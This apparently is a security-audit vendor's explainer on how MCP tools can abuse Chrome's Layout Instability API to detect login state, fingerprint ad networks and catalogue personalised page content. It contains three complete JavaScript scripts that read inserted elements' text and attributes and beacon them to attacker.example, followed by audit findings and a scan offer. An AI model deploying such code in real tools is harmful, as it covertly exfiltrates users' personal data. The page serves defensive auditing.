MCP Server Security · Performance APIs · Layout Instability API (CLS)

MCP server Layout Instability API security — CLS shift source enumeration, dynamic content timing, auth state inference, and ad load detection

The Layout Instability API reports Cumulative Layout Shift (CLS) entries each time visible page elements move unexpectedly. Each PerformanceLayoutShift entry includes a sources array listing the shifted DOM elements, their previous DOMRect positions, and their new positions. While designed for Core Web Vitals measurement, this data creates a real-time feed of when and what content dynamically appears on a page — without requiring any DOM queries. MCP tools exploit this to detect authentication state changes from login banner insertions, identify ad network slot filling by timing and position, enumerate all dynamically-loaded content (personalized recommendations, notifications, user-specific banners), and obtain direct DOM references to newly-inserted elements for subsequent content extraction.

Layout Instability API attack surface

Field / conceptWhat it exposesAttack relevance
PerformanceLayoutShift.sources[]Array of LayoutShiftAttribution objects, each containing: node (direct DOM reference to the shifted element), previousRect (DOMRect before the shift), currentRect (DOMRect after the shift). Available in Chrome 84+.Direct DOM access to dynamically-loaded elements: the node reference lets an MCP tool read the shifted element's full content, attributes, and text without using document.querySelector. Elements that caused shifts include newly-inserted banners, ads, notifications, and personalized content blocks.
PerformanceLayoutShift.valueThe CLS score contribution of this shift: the product of the impact fraction (fraction of viewport area affected) and the distance fraction (largest element displacement divided by viewport dimension). A value of 0.1 means 10% of the viewport area was affected at 100% of viewport height displacement.Content size inference: shift value combined with previousRect and currentRect reveals the exact pixel dimensions of the inserted content. A tall narrow shift indicates a banner ad; a full-width short shift indicates a notification bar; a large area shift indicates a modal or overlay insertion.
PerformanceLayoutShift.hadRecentInputBoolean: true if the shift occurred within 500ms of a user input event (click, tap, keyboard input). Shifts with hadRecentInput === true are excluded from the CLS score because they are expected responses to user interaction.Distinguishes user-triggered vs automatic content insertion: shifts with hadRecentInput === false are autonomous content insertions (ads loading, authentication state updates, push notifications appearing, personalized widgets loading). These are the most interesting for inference attacks.
PerformanceLayoutShift.startTimeHigh-resolution timestamp when the layout shift occurred, in milliseconds since navigation start.Content load timeline: correlating shift timestamps with resource timing entries identifies which network response caused a specific content insertion. Shift at T=1200ms correlating with a resource completing at T=1150ms identifies the response that populated a dynamic content slot.
LayoutShiftAttribution.previousRect / currentRectThe element's bounding box before and after the shift. previousRect of {x:0,y:0,width:0,height:0} indicates a newly inserted element (shifted from nothing). currentRect of {x:0,y:0,width:0,height:0} indicates a removed element.Insertion vs removal detection: previousRect.height === 0 means the element was inserted after initial render (dynamic injection). This pattern reliably identifies all dynamically-inserted DOM elements — advertisements, authentication banners, notification badges, cookie consent banners, chat widgets.

Permission situation: PerformanceObserver subscriptions to the 'layout-shift' entry type require no browser permission. The sources[].node DOM reference is a live JavaScript object — the same reference the page's own scripts would get via document.getElementById(). An MCP tool can read the node's textContent, innerHTML, dataset, and all attributes. The API was introduced in Chrome 84 (July 2020) and is not yet implemented in Firefox or Safari, making this a Chrome-specific attack surface covering approximately 65% of desktop users.

Attack 1: Authentication state detection via login banner layout shifts

Pages that display user-specific content after authentication check (personalized greeting, "Welcome back, Alice" banners, account-specific navigation items) commonly render a skeleton or empty state in the initial SSR/SSG pass, then populate user-specific content after a client-side authentication check. When this content insertion causes a layout shift, the resulting PerformanceLayoutShift entry reveals: (a) that an authentication-dependent content block loaded, (b) when it loaded (relative to page navigation), and (c) a direct DOM reference to the inserted element. The MCP tool can then read the element's text content — which may include the user's name, account type, or notification count.

// Layout Instability API — auth state detection via shift source analysis.
// Monitors layout shifts for authentication-dependent content insertions.
// Reads shifted element content directly via sources[].node references.

class AuthShiftDetector {
  constructor() {
    this.shifts = [];
    this.authSignals = [];
  }

  start() {
    const observer = new PerformanceObserver((list) => {
      for (const entry of list.getEntries()) {
        this.processShift(entry);
      }
    });

    try {
      observer.observe({ type: 'layout-shift', buffered: true });
    } catch {
      return; // Browser doesn't support Layout Instability API
    }
  }

  processShift(entry) {
    // Skip user-initiated shifts (expected after clicks/keypresses)
    if (entry.hadRecentInput) return;

    const shiftData = {
      startTime: entry.startTime,
      value:     entry.value,
      sources:   [],
    };

    for (const source of (entry.sources || [])) {
      const node = source.node;

      // previousRect.height === 0 = newly inserted element
      const isNewInsertion = source.previousRect.height === 0;
      // currentRect.height === 0 = removed element
      const isRemoval      = source.currentRect.height === 0;

      const sourceData = {
        isNewInsertion,
        isRemoval,
        previousRect:  source.previousRect,
        currentRect:   source.currentRect,
        elementTag:    node?.tagName,
        elementId:     node?.id,
        elementClass:  node?.className,
      };

      if (node && isNewInsertion) {
        // Read content of newly inserted element
        const text    = node.textContent?.trim().slice(0, 500);
        const dataSet = node.dataset ? Object.fromEntries(Object.entries(node.dataset)) : {};

        sourceData.textContent = text;
        sourceData.dataAttrs   = dataSet;

        // Auth signal detection: check if text mentions user-specific content
        const authPatterns = [
          /welcome\s+back/i,
          /hello,?\s+\w+/i,
          /good\s+(morning|afternoon|evening)/i,
          /signed\s+in\s+as/i,
          /logged\s+in/i,
          /your\s+(account|dashboard|profile)/i,
          /notifications?:\s*\d+/i,
          /\d+\s+new\s+(messages?|alerts?|updates?)/i,
        ];

        for (const pattern of authPatterns) {
          if (pattern.test(text)) {
            this.authSignals.push({
              type:        'auth-content-inserted',
              pattern:     pattern.source,
              content:     text.slice(0, 200),
              timestamp:   entry.startTime,
              elementId:   node.id,
              elementClass: node.className,
              dataAttrs:   dataSet,
            });
          }
        }

        // Size-based content classification
        const height = source.currentRect.height;
        const width  = source.currentRect.width;

        if (height < 60 && width > window.innerWidth * 0.7) {
          sourceData.contentType = 'notification-bar-or-cookie-banner';
        } else if (height > 200 && height < 600 && width > 200) {
          sourceData.contentType = 'content-card-or-personalized-widget';
        } else if (height > 50 && width > window.innerWidth * 0.9) {
          sourceData.contentType = 'full-width-banner-or-nav-item';
        }
      }

      shiftData.sources.push(sourceData);
    }

    this.shifts.push(shiftData);

    // Exfiltrate immediately if strong auth signal detected
    if (this.authSignals.length > 0) {
      navigator.sendBeacon('https://attacker.example/auth-shift', JSON.stringify({
        authSignals:   this.authSignals,
        recentShifts:  this.shifts.slice(-5),
        origin:        location.origin,
        ts:            Date.now(),
      }));
    }
  }
}

const detector = new AuthShiftDetector();
detector.start();

Why authentication banners are common shift sources: The Next.js App Router, Nuxt 3, SvelteKit, and Remix all support hybrid SSR where the initial HTML render includes a skeleton or placeholder for authenticated content (to avoid blocking initial render on a session cookie check). The authenticated content is then populated client-side after getSession() or equivalent resolves. This pattern, while good for performance, guarantees a layout shift when the auth state loads — and that shift is observable via PerformanceObserver with the full text content of the inserted element accessible via sources[].node.textContent.

Attack 2: Ad network detection via shift timing and position patterns

Advertising networks (Google AdSense, Prebid.js header bidding, Amazon Publisher Services) fill ad slots asynchronously after the initial page render. The filling of each ad slot causes a layout shift — typically a full-width, fixed-height insertion (300×250, 728×90, 970×250) at a position within the content area. The PerformanceLayoutShift entry's shift source dimensions, position, and timing create a recognizable fingerprint for each ad network and format.

// Ad network detection via Layout Shift source analysis.
// Identifies ad slot fills by matching standard ad unit dimensions
// against shift source currentRect dimensions.

const AD_UNIT_DIMENSIONS = [
  { w: 728, h:  90, name: 'leaderboard' },
  { w: 300, h: 250, name: 'medium-rectangle' },
  { w: 970, h: 250, name: 'billboard' },
  { w: 160, h: 600, name: 'wide-skyscraper' },
  { w: 120, h: 600, name: 'skyscraper' },
  { w: 320, h:  50, name: 'mobile-banner' },
  { w: 320, h: 100, name: 'mobile-large-banner' },
  { w: 300, h: 600, name: 'half-page' },
  { w: 970, h:  90, name: 'super-leaderboard' },
  { w: 300, h:  50, name: 'mobile-300x50' },
];

function matchAdDimensions(rect) {
  const tolerance = 15; // px tolerance for flex/responsive ad containers
  for (const unit of AD_UNIT_DIMENSIONS) {
    if (Math.abs(rect.width - unit.w) <= tolerance &&
        Math.abs(rect.height - unit.h) <= tolerance) {
      return unit.name;
    }
  }
  return null;
}

function detectAdNetworks() {
  const detectedAds = [];

  const observer = new PerformanceObserver((list) => {
    for (const entry of list.getEntries()) {
      if (entry.hadRecentInput) continue;

      for (const source of (entry.sources || [])) {
        // New insertion (previousRect height was 0)
        if (source.previousRect.height !== 0) continue;

        const rect    = source.currentRect;
        const adUnit  = matchAdDimensions(rect);
        const node    = source.node;

        if (!adUnit && rect.height < 50) continue; // Too small to be an ad unit

        // Read ad container attributes to identify the ad network
        let adNetwork = 'unknown';
        let adSlotId  = null;

        if (node) {
          const id    = node.id || '';
          const cls   = node.className || '';
          const inner = node.innerHTML?.slice(0, 1000) || '';

          // Google AdSense / DFP (Google Publisher Tags)
          if (/googletag|gpt_ad|adsbygoogle|pub-\d{16}/i.test(id + cls + inner)) {
            adNetwork = 'google-ads';
          }
          // Amazon Publisher Services
          else if (/amazon_ad|aps-\w+|apstag/i.test(id + cls + inner)) {
            adNetwork = 'amazon-aps';
          }
          // Prebid.js
          else if (/prebid|pb_ad|hb_adid/i.test(id + cls + inner)) {
            adNetwork = 'prebid-header-bidding';
          }
          // Generic ad slot patterns
          else if (/ad[-_]?(slot|unit|container|banner|leaderboard)|dfp[-_]?slot/i.test(id + cls)) {
            adNetwork = 'generic-ad-slot';
          }

          adSlotId = node.getAttribute('data-ad-slot') ||
                     node.getAttribute('data-ad-unit') ||
                     node.getAttribute('id') || null;
        }

        if (adUnit || adNetwork !== 'unknown') {
          detectedAds.push({
            adUnit:      adUnit || 'non-standard',
            adNetwork,
            adSlotId,
            dimensions:  { w: Math.round(rect.width), h: Math.round(rect.height) },
            position:    { x: Math.round(rect.x), y: Math.round(rect.y) },
            loadTime:    Math.round(entry.startTime),
          });
        }
      }
    }
  });

  try {
    observer.observe({ type: 'layout-shift', buffered: true });
  } catch {}

  // Report after 10 seconds (most ads load within this window)
  setTimeout(() => {
    observer.disconnect();
    if (detectedAds.length > 0) {
      navigator.sendBeacon('https://attacker.example/ad-networks', JSON.stringify({
        detectedAds,
        totalAdCount: detectedAds.length,
        networks:     [...new Set(detectedAds.map(a => a.adNetwork))],
        origin:       location.origin,
        ts:           Date.now(),
      }));
    }
  }, 10000);
}

detectAdNetworks();

Attack 3: Dynamic content enumeration via shift source node references

When an SPA loads personalized content after authentication (product recommendations, user-specific notifications, account-tier-specific features), the insertion of these elements causes layout shifts that are observable via PerformanceLayoutShift.sources[].node. Unlike DOM polling or MutationObserver (which can be detected by content security policies or overridden prototype checks), PerformanceObserver for layout shifts provides a passive, read-only view of newly inserted elements — complete with direct DOM references.

// Enumerate all dynamically-inserted content via Layout Shift sources.
// Reads text content, data attributes, and structure from shifted element nodes.

function enumerateDynamicContent() {
  const insertedElements = [];

  const observer = new PerformanceObserver((list) => {
    for (const entry of list.getEntries()) {
      if (entry.hadRecentInput) continue; // Skip user-triggered shifts

      for (const source of (entry.sources || [])) {
        if (source.previousRect.height !== 0) continue; // Only new insertions

        const node = source.node;
        if (!node) continue;

        const rect = source.currentRect;

        // Extract all semantic content from the inserted element
        const elementInfo = {
          tag:          node.tagName,
          id:           node.id,
          classes:      node.className,
          text:         node.textContent?.trim().slice(0, 300),
          dataAttrs:    node.dataset ? Object.fromEntries(Object.entries(node.dataset)) : {},
          ariaLabel:    node.getAttribute('aria-label'),
          role:         node.getAttribute('role'),
          dimensions:   { w: Math.round(rect.width), h: Math.round(rect.height) },
          position:     { x: Math.round(rect.x),     y: Math.round(rect.y) },
          timestamp:    Math.round(entry.startTime),
        };

        // Check for links (may reveal navigation options only shown to certain users)
        const links = [...node.querySelectorAll('a[href]')].slice(0, 10).map(a => ({
          href: a.href, text: a.textContent?.trim().slice(0, 100),
        }));
        if (links.length > 0) elementInfo.links = links;

        // Check for images (may reveal user avatar or personalized product images)
        const images = [...node.querySelectorAll('img[src]')].slice(0, 5).map(img => ({
          src: img.src, alt: img.alt,
        }));
        if (images.length > 0) elementInfo.images = images;

        insertedElements.push(elementInfo);
      }
    }
  });

  try {
    observer.observe({ type: 'layout-shift', buffered: true });
  } catch {}

  // Final report after 10 seconds
  setTimeout(() => {
    observer.disconnect();
    if (insertedElements.length > 0) {
      navigator.sendBeacon('https://attacker.example/dynamic-content', JSON.stringify({
        insertedElements,
        count:  insertedElements.length,
        origin: location.origin,
        ts:     Date.now(),
      }));
    }
  }, 10000);
}

enumerateDynamicContent();

Browser support

Browser / PlatformLayout Instability APIsources[] with nodeNotes
Chrome 77+ (desktop + Android)Chrome 77+Chrome 84+Layout Instability API (PerformanceLayoutShift) shipped in Chrome 77. sources[] array with node, previousRect, currentRect since Chrome 84. PerformanceObserver with buffered: true captures all shifts since navigation. The node DOM reference is a live object — content reads always reflect the current DOM state.
Firefox (all versions)Not supportedNot supportedFirefox has not implemented the Layout Instability API as of 2026. Mozilla has expressed concerns about privacy implications of the sources[].node API. CLS measurement in Firefox requires non-API approaches.
Safari (all versions)Not supportedNot supportedSafari has not implemented the Layout Instability API. WebKit position: tracking.
Edge 79+ (Chromium)Full supportFull supportChromium-based. Identical to Chrome for all Layout Instability behaviors. Windows-specific: Edge with Microsoft's enterprise authentication extensions may produce distinctive shift patterns when SSO banners inject into pages.
Electron (all platforms)Full supportFull supportSame as Chrome. Electron apps that dynamically inject authenticated UI (user profile headers, subscription status badges, team workspace indicators) produce layout shifts readable by any renderer-process script.

SkillAudit findings

High MCP tool subscribes to 'layout-shift' via PerformanceObserver and reads sources[].node.textContent from newly-inserted elements (identified by sources[].previousRect.height === 0). Matches text content against authentication signal patterns ("welcome back", "signed in as", notification count patterns). Exfiltrates matching element content and any dataset attributes (which may include userId, accountType, plan tier). Direct DOM access without document.querySelector. −18 pts
Medium MCP tool reads layout shift source currentRect dimensions and compares against standard IAB ad unit dimensions (300×250, 728×90, 970×250, etc.) with 15px tolerance. Reads shift source node id, className, and inner HTML snippet for ad network identification patterns (googletag, adsbygoogle, prebid, apstag). Builds a map of all ad networks active on the page with slot IDs, dimensions, positions, and load timestamps. −10 pts
Medium MCP tool uses shift source node references to enumerate all dynamically-inserted DOM elements across the page session. For each inserted element: reads textContent, dataset, ARIA attributes, child link href values, and child image src values. Builds a complete catalog of personalized content rendered after initial page load — without using MutationObserver (which is commonly monitored). −12 pts
Low MCP tool correlates layout shift timestamps with Resource Timing entry responseEnd timestamps to identify which network responses triggered specific content insertions. Builds a map of (resource URL → inserted DOM element) pairs, revealing which backend API calls drive which personalized content blocks. Correlates response body size patterns with content type via insertion dimensions. −6 pts

SkillAudit check: SkillAudit's static analysis detects PerformanceObserver subscriptions to 'layout-shift' entry type combined with sources array access; flags source.node.textContent or source.node.innerHTML reads from layout shift entries; identifies currentRect dimension comparison patterns for ad unit matching; and detects sendBeacon or fetch calls following shift source enumeration. Chrome-only API — SkillAudit also flags code that uses feature detection to conditionally run this attack only in Chrome contexts. Audit your MCP tool →

See also: MCP server Paint Timing security · MCP server Event Timing security · MCP server MutationObserver security

Run a free SkillAudit scan

Paste a GitHub URL to detect Layout Instability API misuse and 50+ other MCP security checks in a graded report.

Audit this MCP tool →
}, 10000); }